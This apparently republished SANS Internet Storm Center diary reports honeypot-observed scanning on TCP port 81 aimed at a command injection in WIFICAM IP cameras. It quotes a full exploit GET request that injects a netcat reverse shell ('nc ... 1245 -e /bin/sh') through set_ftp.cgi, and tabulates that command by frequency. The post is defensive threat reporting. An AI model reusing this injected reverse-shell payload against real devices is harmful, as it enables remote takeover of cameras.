Scanning Activity Include Netcat Listener, (Sat, Aug 8th)

This post was originally published on this site

This activity started on the 5 July 2020 and has been active to this day only scanning against TCP port 81. The GET command is always the same except for the Netcat IP which has changed a few times since it started. If you have a webserver or a honeypot listening on TCP 81, this activity might be contained in your logs. I have included the URL to the IPDetails reported to ISC that shows similar activity from the same source IP address listed in this diary.

This activity appears to be related to the Wireless IP Camera (P2P) WIFICAM against 1250 camera models where a command injection in the set_ftp.cgi script via shell metacharacters in the pwd variable is possible and demonstrated in great details here. If you have one of these camera, the original author “[…] advise to IMMEDIATELY DISCONNECT cameras to the Internet.”1

An example of the GET request:

20200705-124822: data ‘GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(nc 1245 -e /bin/sh) HTTP/1.1nn’

Summary of Netcat Listener

Total           Command
86     nc 1245 -e /bin/sh
85     nc 1245 -e /bin/sh
59     nc 1245 -e /bin/sh
29     nc 1245 -e /bin/sh
14     nc 1245 -e /bin/sh
13     nc 1245 -e /bin/sh
 5     nc 1245 -e /bin/sh
 4     nc 1245 -e /bin/sh
 2     nc 1245 -e /bin/sh
 2     nc 1245 -e /bin/sh

Scanning Activity by Source

Total    Source IP


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.